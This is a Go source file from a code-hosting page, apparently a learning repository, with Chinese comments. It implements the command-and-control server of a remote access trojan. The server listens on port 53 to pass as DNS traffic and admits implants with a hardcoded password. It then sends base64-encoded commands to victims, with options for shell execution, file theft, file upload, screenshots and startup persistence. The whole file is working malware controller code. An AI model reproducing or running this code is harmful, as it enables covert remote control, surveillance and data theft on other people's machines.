forked from go/golangs_learn
You can not select more than 25 topics
Topics must start with a letter or number, can include dashes ('-') and can be up to 35 characters long.
245 lines
7.0 KiB
245 lines
7.0 KiB
package main
|
|
|
|
import (
|
|
"bufio"
|
|
"encoding/base64"
|
|
"flag"
|
|
"fmt"
|
|
"io"
|
|
"io/ioutil"
|
|
"log"
|
|
"net"
|
|
"os"
|
|
"os/exec"
|
|
"path/filepath"
|
|
"strconv"
|
|
"strings"
|
|
"sync"
|
|
"time"
|
|
)
|
|
|
|
const (
|
|
WHITE = "\x1b[37;1m"
|
|
RED = "\x1b[31;1m"
|
|
GREEN = "\x1b[32;1m"
|
|
YELLOW = "\x1b[33;1m"
|
|
BLUE = "\x1b[34;1m"
|
|
MAGENTA = "\x1b[35;1m"
|
|
CYAN = "\x1b[36;1m"
|
|
VERSION = "2.5.0"
|
|
)
|
|
|
|
var (
|
|
inputIP = flag.String("IP", "0.0.0.0", "Listen IP")
|
|
inputPort = flag.String("PORT", "53", "Listen Port")
|
|
connPwd = flag.String("PWD", "18Sd9fkdkf9", "Connection Password")
|
|
counter int //用于会话计数,给map的key使用
|
|
connlist map[int]net.Conn = make(map[int]net.Conn) //存储所有连接的会话
|
|
connlistIPAddr map[int]string = make(map[int]string) //存储所有IP地址,提供输入标识符显示
|
|
lock = &sync.Mutex{}
|
|
downloadOutName string
|
|
)
|
|
|
|
func getDateTime() string {
|
|
currentTime := time.Now()
|
|
// https://golang.org/pkg/time/#example_Time_Format
|
|
return currentTime.Format("2006-01-02-15-04-05")
|
|
}
|
|
|
|
// ReadLine 函数等待命令行输入,返回字符串
|
|
func ReadLine() string {
|
|
buf := bufio.NewReader(os.Stdin)
|
|
lin, _, err := buf.ReadLine()
|
|
if err != nil {
|
|
fmt.Println(RED, "[!] Error to Read Line!")
|
|
}
|
|
return string(lin)
|
|
}
|
|
|
|
// Socket客户端连接处理程序,专用于接收消息处理
|
|
func connection(conn net.Conn) {
|
|
defer conn.Close()
|
|
var myid int
|
|
myip := conn.RemoteAddr().String()
|
|
|
|
lock.Lock()
|
|
counter++
|
|
myid = counter
|
|
connlist[counter] = conn
|
|
connlistIPAddr[counter] = myip
|
|
lock.Unlock()
|
|
|
|
fmt.Printf("--- client: %s connection ---\n", myip)
|
|
for {
|
|
message, err := bufio.NewReader(conn).ReadString('\n')
|
|
//如果客户端断开
|
|
if err == io.EOF {
|
|
conn.Close()
|
|
delete(connlist, myid)
|
|
delete(connlistIPAddr, myid)
|
|
break
|
|
}
|
|
decoded, _ := base64.StdEncoding.DecodeString(message)
|
|
decMessage := string(decoded)
|
|
switch decMessage {
|
|
|
|
case "download":
|
|
//fmt.Println("---收到download指令,等待下一次数据上传---")
|
|
// 等待用户上传数据
|
|
encData, _ := bufio.NewReader(conn).ReadString('\n')
|
|
fmt.Println(YELLOW, "-> Downloading...")
|
|
decData, _ := base64.URLEncoding.DecodeString(encData)
|
|
downFilePath, _ := filepath.Abs(string(downloadOutName) + getDateTime())
|
|
ioutil.WriteFile(downFilePath, []byte(decData), 777)
|
|
fmt.Println(GREEN, "-> Download Done...")
|
|
case "screenshot":
|
|
encData, _ := bufio.NewReader(conn).ReadString('\n')
|
|
fmt.Println(YELLOW, "-> Getting ScreenShot...")
|
|
decData, _ := base64.URLEncoding.DecodeString(encData)
|
|
//filename := myip + getDateTime()+".png"
|
|
absFilePath, _ := filepath.Abs(strings.Replace(myip, ":", "_", -1) + getDateTime() + ".png")
|
|
ioutil.WriteFile(absFilePath, []byte(decData), 777)
|
|
fmt.Printf(GREEN+"-> ScreenShot Done, filename: %s\n", absFilePath)
|
|
|
|
default:
|
|
fmt.Println("\n" + decMessage)
|
|
}
|
|
}
|
|
fmt.Printf("--- %s close---\n", myip)
|
|
}
|
|
|
|
// 等待Socket 客户端连接
|
|
func handleConnWait() {
|
|
l, err := net.Listen("tcp", *inputIP+":"+*inputPort)
|
|
if err != nil {
|
|
log.Fatal(err)
|
|
}
|
|
defer l.Close()
|
|
for {
|
|
conn, err := l.Accept()
|
|
if err != nil {
|
|
log.Fatal(err)
|
|
}
|
|
message, err := bufio.NewReader(conn).ReadString('\n')
|
|
decoded, _ := base64.StdEncoding.DecodeString(message)
|
|
if string(decoded) == *connPwd {
|
|
go connection(conn)
|
|
} else {
|
|
backMsg := base64.URLEncoding.EncodeToString([]byte("back"))
|
|
conn.Write([]byte(backMsg + "\n"))
|
|
conn.Close()
|
|
}
|
|
}
|
|
}
|
|
|
|
func main() {
|
|
flag.Parse()
|
|
go handleConnWait()
|
|
connid := 0
|
|
for {
|
|
fmt.Print(RED, "SESSION ", connlistIPAddr[connid], WHITE, "> ")
|
|
command := ReadLine()
|
|
_conn, ok := connlist[connid]
|
|
switch command {
|
|
case "":
|
|
// 如果输入为空,则什么都不做
|
|
case "help":
|
|
fmt.Println("")
|
|
fmt.Println(CYAN, "COMMANDS DESCRIPTION")
|
|
fmt.Println(CYAN, "-------------------------------------------------------")
|
|
fmt.Println(CYAN, "session 选择在线的客户端")
|
|
fmt.Println(CYAN, "download 下载远程文件")
|
|
fmt.Println(CYAN, "upload 上传本地文件")
|
|
fmt.Println(CYAN, "screenshot 远程桌面截图")
|
|
fmt.Println(CYAN, "charset gbk 设置客户端命令行输出编码,gbk是简体中文")
|
|
fmt.Println(CYAN, "clear 清楚屏幕")
|
|
fmt.Println(CYAN, "exit 客户端下线")
|
|
fmt.Println(CYAN, "quit 退出服务器端")
|
|
fmt.Println(CYAN, "startup 加入启动项目文件夹")
|
|
fmt.Println(CYAN, "-------------------------------------------------------")
|
|
fmt.Println("")
|
|
case "session":
|
|
fmt.Println(connlist)
|
|
fmt.Print("选择客户端ID: ")
|
|
inputid := ReadLine()
|
|
if inputid != "" {
|
|
var e error
|
|
connid, e = strconv.Atoi(inputid)
|
|
if e != nil {
|
|
fmt.Println("请输入数字")
|
|
} else if _, ok := connlist[connid]; ok {
|
|
//如果输入并且存在客户端id
|
|
_cmd := base64.URLEncoding.EncodeToString([]byte("getos"))
|
|
connlist[connid].Write([]byte(_cmd + "\n"))
|
|
}
|
|
}
|
|
case "clear":
|
|
ClearScreen()
|
|
case "exit":
|
|
if ok {
|
|
encDownload := base64.URLEncoding.EncodeToString([]byte("exit"))
|
|
_conn.Write([]byte(encDownload + "\n"))
|
|
}
|
|
case "quit":
|
|
os.Exit(0)
|
|
case "download":
|
|
if ok {
|
|
// 第一步,发送下载指令
|
|
encDownload := base64.URLEncoding.EncodeToString([]byte("download"))
|
|
_conn.Write([]byte(encDownload + "\n"))
|
|
// 第二步,输入下载路径和要保存的文件名,发送给客户端
|
|
fmt.Print("File Path to Download: ")
|
|
nameDownload := ReadLine()
|
|
fmt.Print("Output name: ")
|
|
downloadOutName = ReadLine()
|
|
// 下发需要download的文件名路径, conn连接的协程里面接收
|
|
encName := base64.URLEncoding.EncodeToString([]byte(nameDownload))
|
|
_conn.Write([]byte(encName + "\n"))
|
|
fmt.Print(encName)
|
|
}
|
|
|
|
case "screenshot":
|
|
if ok {
|
|
encScreenShot := base64.URLEncoding.EncodeToString([]byte("screenshot"))
|
|
_conn.Write([]byte(encScreenShot + "\n"))
|
|
}
|
|
|
|
case "upload":
|
|
if ok {
|
|
encUpload := base64.URLEncoding.EncodeToString([]byte("upload"))
|
|
_conn.Write([]byte(encUpload + "\n"))
|
|
|
|
fmt.Print("File Path to Upload: ")
|
|
pathUpload := ReadLine()
|
|
|
|
fmt.Print("Output name: ")
|
|
outputName := ReadLine()
|
|
encOutput := base64.URLEncoding.EncodeToString([]byte(outputName))
|
|
_conn.Write([]byte(encOutput + getDateTime() + "\n"))
|
|
|
|
fmt.Println(YELLOW, "-> Uploading...")
|
|
//上传文件
|
|
file, err := ioutil.ReadFile(pathUpload)
|
|
if err != nil {
|
|
fmt.Println(RED, "[!] File not found!")
|
|
break
|
|
}
|
|
encData := base64.URLEncoding.EncodeToString(file)
|
|
_conn.Write([]byte(string(encData) + "\n"))
|
|
fmt.Println(GREEN, "-> Upload Done...")
|
|
}
|
|
default:
|
|
if ok {
|
|
_cmd := base64.URLEncoding.EncodeToString([]byte(command))
|
|
_conn.Write([]byte(_cmd + "\n"))
|
|
}
|
|
}
|
|
}
|
|
}
|
|
|
|
// ClearScreen 清除屏幕
|
|
func ClearScreen() {
|
|
cmd := exec.Command("clear")
|
|
cmd.Stdout = os.Stdout
|
|
cmd.Run()
|
|
}
|
|
|